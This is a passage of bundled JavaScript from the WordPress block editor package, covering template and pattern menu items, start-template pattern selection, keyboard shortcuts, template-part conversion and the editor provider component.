10631 } = select(external_wp_blockEditor_namespaceObject.store);
10632 const { getCurrentTemplateId, getRenderingMode } = select(store_store);
10633 const patternParent = getBlockParentsByBlockName(
10634 clientId,
10635 "core/block",
10636 true
10637 )[0];
10638 let record;
10639 if (patternParent) {
10640 record = select(external_wp_coreData_namespaceObject.store).getEntityRecord(
10641 "postType",
10642 "wp_block",
10643 getBlockAttributes(patternParent).ref
10644 );
10645 } else if (getRenderingMode() === "template-locked" && !getBlockParents(clientId).some(
10646 (parent) => postContentBlocks.includes(parent)
10647 )) {
10648 record = select(external_wp_coreData_namespaceObject.store).getEntityRecord(
10649 "postType",
10650 "wp_template",
10651 getCurrentTemplateId()
10652 );
10653 }
10654 if (!record) {
10655 return {};
10656 }
10657 const _canEditTemplates = select(external_wp_coreData_namespaceObject.store).canUser("create", {
10658 kind: "postType",
10659 name: "wp_template"
10660 });
10661 return {
10662 canEditTemplates: _canEditTemplates,
10663 entity: record,
10664 onNavigateToEntityRecord: getSettings().onNavigateToEntityRecord
10665 };
10666 },
10667 [clientId, postContentBlocks]
10668 );
10669 if (!entity) {
10670 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10671 TemplateLockContentOnlyMenuItems,
10672 {
10673 clientId,
10674 onClose
10675 }
10676 );
10677 }
10678 const isPattern = entity.type === "wp_block";
10679 let helpText = isPattern ? (0,external_wp_i18n_namespaceObject.__)(
10680 "Edit the pattern to move, delete, or make further changes to this block."
10681 ) : (0,external_wp_i18n_namespaceObject.__)(
10682 "Edit the template to move, delete, or make further changes to this block."
10683 );
10684 if (!canEditTemplates) {
10685 helpText = (0,external_wp_i18n_namespaceObject.__)(
10686 "Only users with permissions to edit the template can move or delete this block"
10687 );
10688 }
10689 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10690 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableBlockSettingsMenuFirstItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10691 external_wp_components_namespaceObject.MenuItem,
10692 {
10693 onClick: () => {
10694 onNavigateToEntityRecord({
10695 postId: entity.id,
10696 postType: entity.type
10697 });
10698 },
10699 disabled: !canEditTemplates,
10700 children: isPattern ? (0,external_wp_i18n_namespaceObject.__)("Edit pattern") : (0,external_wp_i18n_namespaceObject.__)("Edit template")
10701 }
10702 ) }),
10703 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10704 external_wp_components_namespaceObject.__experimentalText,
10705 {
10706 variant: "muted",
10707 as: "p",
10708 className: "editor-content-only-settings-menu__description",
10709 children: helpText
10710 }
10711 )
10712 ] });
10713}
10714function TemplateLockContentOnlyMenuItems({ clientId, onClose }) {
10715 const { contentLockingParent } = (0,external_wp_data_namespaceObject.useSelect)(
10716 (select) => {
10717 const { getContentLockingParent } = unlock(
10718 select(external_wp_blockEditor_namespaceObject.store)
10719 );
10720 return {
10721 contentLockingParent: getContentLockingParent(clientId)
10722 };
10723 },
10724 [clientId]
10725 );
10726 const blockDisplayInformation = (0,external_wp_blockEditor_namespaceObject.useBlockDisplayInformation)(contentLockingParent);
10727 const blockEditorActions = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
10728 if (!blockDisplayInformation?.title) {
10729 return null;
10730 }
10731 const { modifyContentLockBlock } = unlock(blockEditorActions);
10732 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10733 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableBlockSettingsMenuFirstItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10734 external_wp_components_namespaceObject.MenuItem,
10735 {
10736 onClick: () => {
10737 modifyContentLockBlock(contentLockingParent);
10738 onClose();
10739 },
10740 children: (0,external_wp_i18n_namespaceObject._x)("Unlock", "Unlock content locked blocks")
10741 }
10742 ) }),
10743 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10744 external_wp_components_namespaceObject.__experimentalText,
10745 {
10746 variant: "muted",
10747 as: "p",
10748 className: "editor-content-only-settings-menu__description",
10749 children: (0,external_wp_i18n_namespaceObject.__)(
10750 "Temporarily unlock the parent block to edit, delete or make further changes to this block."
10751 )
10752 }
10753 )
10754 ] });
10755}
10756function ContentOnlySettingsMenu() {
10757 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, { children: ({ selectedClientIds, onClose }) => selectedClientIds.length === 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10758 ContentOnlySettingsMenuItems,
10759 {
10760 clientId: selectedClientIds[0],
10761 onClose
10762 }
10763 ) });
10764}
10765
10766
10767;// ./node_modules/@wordpress/editor/build-module/components/start-template-options/index.js
10768
10769
10770
10771
10772
10773
10774
10775
10776
10777
10778function useFallbackTemplateContent(slug, isCustom = false) {
10779 return (0,external_wp_data_namespaceObject.useSelect)(
10780 (select) => {
10781 const { getEntityRecord, getDefaultTemplateId } = select(external_wp_coreData_namespaceObject.store);
10782 const templateId = getDefaultTemplateId({
10783 slug,
10784 is_custom: isCustom,
10785 ignore_empty: true
10786 });
10787 return templateId ? getEntityRecord("postType", TEMPLATE_POST_TYPE, templateId)?.content?.raw : void 0;
10788 },
10789 [slug, isCustom]
10790 );
10791}
10792function start_template_options_useStartPatterns(fallbackContent) {
10793 const { slug, patterns } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10794 const { getCurrentPostType, getCurrentPostId } = select(store_store);
10795 const { getEntityRecord, getBlockPatterns } = select(external_wp_coreData_namespaceObject.store);
10796 const postId = getCurrentPostId();
10797 const postType = getCurrentPostType();
10798 const record = getEntityRecord("postType", postType, postId);
10799 return {
10800 slug: record.slug,
10801 patterns: getBlockPatterns()
10802 };
10803 }, []);
10804 const currentThemeStylesheet = (0,external_wp_data_namespaceObject.useSelect)(
10805 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme().stylesheet
10806 );
10807 function injectThemeAttributeInBlockTemplateContent(block) {
10808 if (block.innerBlocks.find(
10809 (innerBlock) => innerBlock.name === "core/template-part"
10810 )) {
10811 block.innerBlocks = block.innerBlocks.map((innerBlock) => {
10812 if (innerBlock.name === "core/template-part" && innerBlock.attributes.theme === void 0) {
10813 innerBlock.attributes.theme = currentThemeStylesheet;
10814 }
10815 return innerBlock;
10816 });
10817 }
10818 if (block.name === "core/template-part" && block.attributes.theme === void 0) {
10819 block.attributes.theme = currentThemeStylesheet;
10820 }
10821 return block;
10822 }
10823 return (0,external_wp_element_namespaceObject.useMemo)(() => {
10824 return [
10825 {
10826 name: "fallback",
10827 blocks: (0,external_wp_blocks_namespaceObject.parse)(fallbackContent),
10828 title: (0,external_wp_i18n_namespaceObject.__)("Fallback content")
10829 },
10830 ...patterns.filter((pattern) => {
10831 return Array.isArray(pattern.templateTypes) && pattern.templateTypes.some(
10832 (templateType) => slug.startsWith(templateType)
10833 );
10834 }).map((pattern) => {
10835 return {
10836 ...pattern,
10837 blocks: (0,external_wp_blocks_namespaceObject.parse)(pattern.content).map(
10838 (block) => injectThemeAttributeInBlockTemplateContent(block)
10839 )
10840 };
10841 })
10842 ];
10843 }, [fallbackContent, slug, patterns]);
10844}
10845function start_template_options_PatternSelection({ fallbackContent, onChoosePattern, postType }) {
10846 const [, , onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)("postType", postType);
10847 const blockPatterns = start_template_options_useStartPatterns(fallbackContent);
10848 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10849 external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList,
10850 {
10851 blockPatterns,
10852 onClickPattern: (pattern, blocks) => {
10853 onChange(blocks, { selection: void 0 });
10854 onChoosePattern();
10855 }
10856 }
10857 );
10858}
10859function StartModal({ slug, isCustom, onClose, postType }) {
10860 const fallbackContent = useFallbackTemplateContent(slug, isCustom);
10861 if (!fallbackContent) {
10862 return null;
10863 }
10864 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10865 external_wp_components_namespaceObject.Modal,
10866 {
10867 className: "editor-start-template-options__modal",
10868 title: (0,external_wp_i18n_namespaceObject.__)("Choose a pattern"),
10869 closeLabel: (0,external_wp_i18n_namespaceObject.__)("Cancel"),
10870 focusOnMount: "firstElement",
10871 onRequestClose: onClose,
10872 isFullScreen: true,
10873 children: [
10874 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-start-template-options__modal-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10875 start_template_options_PatternSelection,
10876 {
10877 fallbackContent,
10878 slug,
10879 isCustom,
10880 postType,
10881 onChoosePattern: () => {
10882 onClose();
10883 }
10884 }
10885 ) }),
10886 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10887 external_wp_components_namespaceObject.Flex,
10888 {
10889 className: "editor-start-template-options__modal__actions",
10890 justify: "flex-end",
10891 expanded: false,
10892 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10893 external_wp_components_namespaceObject.Button,
10894 {
10895 __next40pxDefaultSize: true,
10896 variant: "tertiary",
10897 onClick: onClose,
10898 children: (0,external_wp_i18n_namespaceObject.__)("Skip")
10899 }
10900 ) })
10901 }
10902 )
10903 ]
10904 }
10905 );
10906}
10907function StartTemplateOptions() {
10908 const [isClosed, setIsClosed] = (0,external_wp_element_namespaceObject.useState)(false);
10909 const { shouldOpenModal, slug, isCustom, postType, postId } = (0,external_wp_data_namespaceObject.useSelect)(
10910 (select) => {
10911 const { getCurrentPostType, getCurrentPostId } = select(store_store);
10912 const _postType = getCurrentPostType();
10913 const _postId = getCurrentPostId();
10914 const { getEditedEntityRecord, hasEditsForEntityRecord } = select(external_wp_coreData_namespaceObject.store);
10915 const templateRecord = getEditedEntityRecord(
10916 "postType",
10917 _postType,
10918 _postId
10919 );
10920 const hasEdits = hasEditsForEntityRecord(
10921 "postType",
10922 _postType,
10923 _postId
10924 );
10925 return {
10926 shouldOpenModal: !hasEdits && "" === templateRecord.content && TEMPLATE_POST_TYPE === _postType,
10927 slug: templateRecord.slug,
10928 isCustom: templateRecord.is_custom,
10929 postType: _postType,
10930 postId: _postId
10931 };
10932 },
10933 []
10934 );
10935 (0,external_wp_element_namespaceObject.useEffect)(() => {
10936 setIsClosed(false);
10937 }, [postType, postId]);
10938 if (!shouldOpenModal || isClosed) {
10939 return null;
10940 }
10941 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10942 StartModal,
10943 {
10944 slug,
10945 isCustom,
10946 postType,
10947 onClose: () => setIsClosed(true)
10948 }
10949 );
10950}
10951
10952
10953;// ./node_modules/@wordpress/editor/build-module/components/global-keyboard-shortcuts/index.js
10954
10955
10956
10957
10958
10959function EditorKeyboardShortcuts() {
10960 const isModeToggleDisabled = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10961 const { richEditingEnabled, codeEditingEnabled } = select(store_store).getEditorSettings();
10962 return !richEditingEnabled || !codeEditingEnabled;
10963 }, []);
10964 const { getBlockSelectionStart } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
10965 const { getActiveComplementaryArea } = (0,external_wp_data_namespaceObject.useSelect)(store);
10966 const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
10967 const {
10968 redo,
10969 undo,
10970 savePost,
10971 setIsListViewOpened,
10972 switchEditorMode,
10973 toggleDistractionFree
10974 } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
10975 const {
10976 isEditedPostDirty,
10977 isPostSavingLocked,
10978 isListViewOpened,
10979 getEditorMode
10980 } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
10981 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
10982 "core/editor/toggle-mode",
10983 () => {
10984 switchEditorMode(
10985 getEditorMode() === "visual" ? "text" : "visual"
10986 );
10987 },
10988 {
10989 isDisabled: isModeToggleDisabled
10990 }
10991 );
10992 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/editor/toggle-distraction-free", () => {
10993 toggleDistractionFree();
10994 });
10995 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/editor/undo", (event) => {
10996 undo();
10997 event.preventDefault();
10998 });
10999 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/editor/redo", (event) => {
11000 redo();
11001 event.preventDefault();
11002 });
11003 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/editor/save", (event) => {
11004 event.preventDefault();
11005 if (isPostSavingLocked()) {
11006 return;
11007 }
11008 if (!isEditedPostDirty()) {
11009 return;
11010 }
11011 savePost();
11012 });
11013 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/editor/toggle-list-view", (event) => {
11014 if (!isListViewOpened()) {
11015 event.preventDefault();
11016 setIsListViewOpened(true);
11017 }
11018 });
11019 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/editor/toggle-sidebar", (event) => {
11020 event.preventDefault();
11021 const isEditorSidebarOpened = [
11022 "edit-post/document",
11023 "edit-post/block"
11024 ].includes(getActiveComplementaryArea("core"));
11025 if (isEditorSidebarOpened) {
11026 disableComplementaryArea("core");
11027 } else {
11028 const sidebarToOpen = getBlockSelectionStart() ? "edit-post/block" : "edit-post/document";
11029 enableComplementaryArea("core", sidebarToOpen);
11030 }
11031 });
11032 return null;
11033}
11034
11035
11036;// ./node_modules/@wordpress/editor/build-module/components/template-part-menu-items/convert-to-regular.js
11037
11038
11039
11040
11041
11042function ConvertToRegularBlocks({ clientId, onClose }) {
11043 const { getBlocks } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
11044 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
11045 const canRemove = (0,external_wp_data_namespaceObject.useSelect)(
11046 (select) => select(external_wp_blockEditor_namespaceObject.store).canRemoveBlock(clientId),
11047 [clientId]
11048 );
11049 if (!canRemove) {
11050 return null;
11051 }
11052 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11053 external_wp_components_namespaceObject.MenuItem,
11054 {
11055 onClick: () => {
11056 replaceBlocks(clientId, getBlocks(clientId));
11057 onClose();
11058 },
11059 children: (0,external_wp_i18n_namespaceObject.__)("Detach")
11060 }
11061 );
11062}
11063
11064
11065;// ./node_modules/@wordpress/editor/build-module/components/template-part-menu-items/convert-to-template-part.js
11066
11067
11068
11069
11070
11071
11072
11073
11074
11075
11076
11077function ConvertToTemplatePart({ clientIds, blocks }) {
11078 const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
11079 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
11080 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
11081 const { isBlockBasedTheme, canCreate } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
11082 return {
11083 isBlockBasedTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme,
11084 canCreate: select(external_wp_blockEditor_namespaceObject.store).canInsertBlockType(
11085 "core/template-part"
11086 )
11087 };
11088 }, []);
11089 if (!isBlockBasedTheme || !canCreate) {
11090 return null;
11091 }
11092 const onConvert = async (templatePart) => {
11093 replaceBlocks(
11094 clientIds,
11095 (0,external_wp_blocks_namespaceObject.createBlock)("core/template-part", {
11096 slug: templatePart.slug,
11097 theme: templatePart.theme
11098 })
11099 );
11100 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Template part created."), {
11101 type: "snackbar"
11102 });
11103 };
11104 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
11105 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11106 external_wp_components_namespaceObject.MenuItem,
11107 {
11108 icon: symbol_filled_default,
11109 onClick: () => {
11110 setIsModalOpen(true);
11111 },
11112 "aria-expanded": isModalOpen,
11113 "aria-haspopup": "dialog",
11114 children: (0,external_wp_i18n_namespaceObject.__)("Create template part")
11115 }
11116 ),
11117 isModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11118 CreateTemplatePartModal,
11119 {
11120 closeModal: () => {
11121 setIsModalOpen(false);
11122 },
11123 blocks,
11124 onCreate: onConvert
11125 }
11126 )
11127 ] });
11128}
11129
11130
11131;// ./node_modules/@wordpress/editor/build-module/components/template-part-menu-items/index.js
11132
11133
11134
11135
11136
11137function TemplatePartMenuItems() {
11138 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, { children: ({ selectedClientIds, onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11139 TemplatePartConverterMenuItem,
11140 {
11141 clientIds: selectedClientIds,
11142 onClose
11143 }
11144 ) });
11145}
11146function TemplatePartConverterMenuItem({ clientIds, onClose }) {
11147 const { blocks } = (0,external_wp_data_namespaceObject.useSelect)(
11148 (select) => {
11149 const { getBlocksByClientId } = select(external_wp_blockEditor_namespaceObject.store);
11150 return {
11151 blocks: getBlocksByClientId(clientIds)
11152 };
11153 },
11154 [clientIds]
11155 );
11156 if (blocks.length === 1 && blocks[0]?.name === "core/template-part") {
11157 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11158 ConvertToRegularBlocks,
11159 {
11160 clientId: clientIds[0],
11161 onClose
11162 }
11163 );
11164 }
11165 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ConvertToTemplatePart, { clientIds, blocks });
11166}
11167
11168
11169;// ./node_modules/@wordpress/editor/build-module/components/provider/index.js
11170
11171
11172
11173
11174
11175
11176
11177
11178
11179
11180
11181
11182
11183
11184
11185
11186
11187
11188
11189
11190
11191
11192
11193
11194
11195
11196const { ExperimentalBlockEditorProvider } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
11197const { PatternsMenuItems } = unlock(external_wp_patterns_namespaceObject.privateApis);
11198const provider_noop = () => {
11199};
11200const NON_CONTEXTUAL_POST_TYPES = [
11201 "wp_block",
11202 "wp_navigation",
11203 "wp_template_part"
11204];
11205function useBlockEditorProps(post, template, mode) {
11206 const rootLevelPost = mode === "template-locked" ? "template" : "post";
11207 const [postBlocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)(
11208 "postType",
11209 post.type,
11210 { id: post.id }
11211 );
11212 const [templateBlocks, onInputTemplate, onChangeTemplate] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)("postType", template?.type, {
11213 id: template?.id
11214 });
11215 const maybeNavigationBlocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
11216 if (post.type === "wp_navigation") {
11217 return [
11218 (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation", {
11219 ref: post.id,
11220 // As the parent editor is locked with `templateLock`, the template locking
11221 // must be explicitly "unset" on the block itself to allow the user to modify
11222 // the block's content.
11223 templateLock: false
11224 })
11225 ];
11226 }
11227 }, [post.type, post.id]);
11228 const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
11229 if (maybeNavigationBlocks) {
11230 return maybeNavigationBlocks;
11231 }
11232 if (rootLevelPost === "template") {
11233 return templateBlocks;
11234 }
11235 return postBlocks;
11236 }, [maybeNavigationBlocks, rootLevelPost, templateBlocks, postBlocks]);
11237 const disableRootLevelChanges = !!template && mode === "template-locked" || post.type === "wp_navigation";
11238 if (disableRootLevelChanges) {
11239 return [blocks, provider_noop, provider_noop];
11240 }
11241 return [
11242 blocks,
11243 rootLevelPost === "post" ? onInput : onInputTemplate,
11244 rootLevelPost === "post" ? onChange : onChangeTemplate
11245 ];
11246}
11247const ExperimentalEditorProvider = with_registry_provider_default(
11248 ({
11249 post,
11250 settings,
11251 recovery,
11252 initialEdits,
11253 children,
11254 BlockEditorProviderComponent = ExperimentalBlockEditorProvider,
11255 __unstableTemplate: template
11256 }) => {
11257 const hasTemplate = !!template;
11258 const {
11259 editorSettings,
11260 selection,
11261 isReady,
11262 mode,
11263 defaultMode,
11264 postTypeEntities
11265 } = (0,external_wp_data_namespaceObject.useSelect)(
11266 (select) => {
11267 const {
11268 getEditorSettings,
11269 getEditorSelection,
11270 getRenderingMode,
11271 __unstableIsEditorReady,
11272 getDefaultRenderingMode
11273 } = unlock(select(store_store));
11274 const { getEntitiesConfig } = select(external_wp_coreData_namespaceObject.store);
11275 const _mode = getRenderingMode();
11276 const _defaultMode = getDefaultRenderingMode(post.type);
11277 const hasResolvedDefaultMode = _defaultMode === "template-locked" ? hasTemplate : _defaultMode !== void 0;
11278 const isRenderingModeReady = _defaultMode !== void 0;
11279 return {
11280 editorSettings: getEditorSettings(),
11281 isReady: __unstableIsEditorReady(),
11282 mode: isRenderingModeReady ? _mode : void 0,
11283 defaultMode: hasResolvedDefaultMode ? _defaultMode : void 0,
11284 selection: getEditorSelection(),
11285 postTypeEntities: post.type === "wp_template" ? getEntitiesConfig("postType") : null
11286 };
11287 },
11288 [post.type, hasTemplate]
11289 );
11290 const shouldRenderTemplate = hasTemplate && mode !== "post-only";
11291 const rootLevelPost = shouldRenderTemplate ? template : post;
11292 const defaultBlockContext = (0,external_wp_element_namespaceObject.useMemo)(() => {
11293 const postContext = {};
11294 if (post.type === "wp_template") {
11295 if (post.slug === "page") {
11296 postContext.postType = "page";
11297 } else if (post.slug === "single") {
11298 postContext.postType = "post";
11299 } else if (post.slug.split("-")[0] === "single") {
11300 const postTypeNames = postTypeEntities?.map((entity) => entity.name) || [];
11301 const match = post.slug.match(
11302 `^single-(${postTypeNames.join("|")})(?:-.+)?$`
11303 );
11304 if (match) {
11305 postContext.postType = match[1];
11306 }
11307 }
11308 } else if (!NON_CONTEXTUAL_POST_TYPES.includes(rootLevelPost.type) || shouldRenderTemplate) {
11309 postContext.postId = post.id;
11310 postContext.postType = post.type;
11311 }
11312 return {
11313 ...postContext,
11314 templateSlug: rootLevelPost.type === "wp_template" ? rootLevelPost.slug : void 0
11315 };
11316 }, [
11317 shouldRenderTemplate,
11318 post.id,
11319 post.type,
11320 post.slug,
11321 rootLevelPost.type,
11322 rootLevelPost.slug,
11323 postTypeEntities
11324 ]);
11325 const { id, type } = rootLevelPost;
11326 const blockEditorSettings = use_block_editor_settings_default(
11327 editorSettings,
11328 type,
11329 id,
11330 mode
11331 );
11332 const [blocks, onInput, onChange] = useBlockEditorProps(
11333 post,
11334 template,
11335 mode
11336 );
11337 const {
11338 updatePostLock,
11339 setupEditor,
11340 updateEditorSettings,
11341 setCurrentTemplateId,
11342 setEditedPost,
11343 setRenderingMode
11344 } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
11345 const { createWarningNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
11346 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
11347 if (recovery) {
11348 return;
11349 }
11350 updatePostLock(settings.postLock);
11351 setupEditor(post, initialEdits, settings.template);
11352 if (settings.autosave) {
11353 createWarningNotice(
11354 (0,external_wp_i18n_namespaceObject.__)(
11355 "There is an autosave of this post that is more recent than the version below."
11356 ),
11357 {
11358 id: "autosave-exists",
11359 actions: [
11360 {
11361 label: (0,external_wp_i18n_namespaceObject.__)("View the autosave"),
11362 url: settings.autosave.editLink
11363 }
11364 ]
11365 }
11366 );
11367 }
11368 }, []);
11369 (0,external_wp_element_namespaceObject.useEffect)(() => {
11370 setEditedPost(post.type, post.id);
11371 }, [post.type, post.id, setEditedPost]);
11372 (0,external_wp_element_namespaceObject.useEffect)(() => {
11373 updateEditorSettings(settings);
11374 }, [settings, updateEditorSettings]);
11375 (0,external_wp_element_namespaceObject.useEffect)(() => {
11376 setCurrentTemplateId(template?.id);
11377 }, [template?.id, setCurrentTemplateId]);
11378 (0,external_wp_element_namespaceObject.useEffect)(() => {
11379 if (defaultMode) {
11380 setRenderingMode(defaultMode);
11381 }
11382 }, [defaultMode, setRenderingMode]);
11383 useHideBlocksFromInserter(post.type, mode);
11384 useCommands();
11385 if (!isReady || !mode) {
11386 return null;
11387 }
11388 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_coreData_namespaceObject.EntityProvider, { kind: "root", type: "site", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11389 external_wp_coreData_namespaceObject.EntityProvider,
11390 {
11391 kind: "postType",
11392 type: post.type,
11393 id: post.id,
11394 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockContextProvider, { value: defaultBlockContext, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
11395 BlockEditorProviderComponent,
11396 {
11397 value: blocks,
11398 onChange,
11399 onInput,
11400 selection,
11401 settings: blockEditorSettings,
11402 useSubRegistry: false,
11403 children: [
11404 children,
11405 !settings.isPreviewMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
11406 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternsMenuItems, {}),
11407 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplatePartMenuItems, {}),
11408 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ContentOnlySettingsMenu, {}),
11409 mode === "template-locked" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DisableNonPageContentBlocks, {}),
11410 type === "wp_navigation" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationBlockEditingMode, {}),
11411 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorKeyboardShortcuts, {}),
11412 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcut_help_modal_default, {}),
11413 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockRemovalWarnings, {}),
11414 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(StartPageOptions, {}),
11415 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(StartTemplateOptions, {}),
11416 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternRenameModal, {}),
11417 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternDuplicateModal, {})
11418 ] })
11419 ]
11420 }
11421 ) })
11422 }
11423 ) });
11424 }
11425);
11426function EditorProvider(props) {
11427 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11428 ExperimentalEditorProvider,
11429 {
11430 ...props,
11431 BlockEditorProviderComponent: external_wp_blockEditor_namespaceObject.BlockEditorProvider,
11432 children: props.children
11433 }
11434 );
11435}
11436var provider_default = EditorProvider;
11437
11438
11439;// ./node_modules/@wordpress/editor/build-module/dataviews/fields/content-preview/content-preview-view.js
11440
11441
11442
11443
11444
11445
11446
11447
11448const { useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
11449function PostPreviewContainer({
11450 template,
11451 post
11452}) {
11453 const [backgroundColor = "white"] = useGlobalStyle("color.background");
11454 const [postBlocks] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)("postType", post.type, {
11455 id: post.id
11456 });
11457 const [templateBlocks] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)(
11458 "postType",
11459 template?.type,
11460 {
11461 id: template?.id
11462 }
11463 );
11464 const blocks = template && templateBlocks ? templateBlocks : postBlocks;
11465 const isEmpty = !blocks?.length;
11466 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
11467 "div",
11468 {
11469 className: "editor-fields-content-preview",
11470 style: {
11471 backgroundColor
11472 },
11473 children: [
11474 isEmpty && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-fields-content-preview__empty", children: (0,external_wp_i18n_namespaceObject.__)("Empty content") }),
11475 !isEmpty && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview.Async, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, { blocks }) })
11476 ]
11477 }
11478 );
11479}
11480function PostPreviewView({ item }) {
11481 const { settings, template } = (0,external_wp_data_namespaceObject.useSelect)(
11482 (select) => {
11483 const { canUser, getPostType, getTemplateId, getEntityRecord } = unlock(select(external_wp_coreData_namespaceObject.store));
11484 const canViewTemplate = canUser("read", {
11485 kind: "postType",
11486 name: "wp_template"
11487 });
11488 const _settings = select(store_store).getEditorSettings();
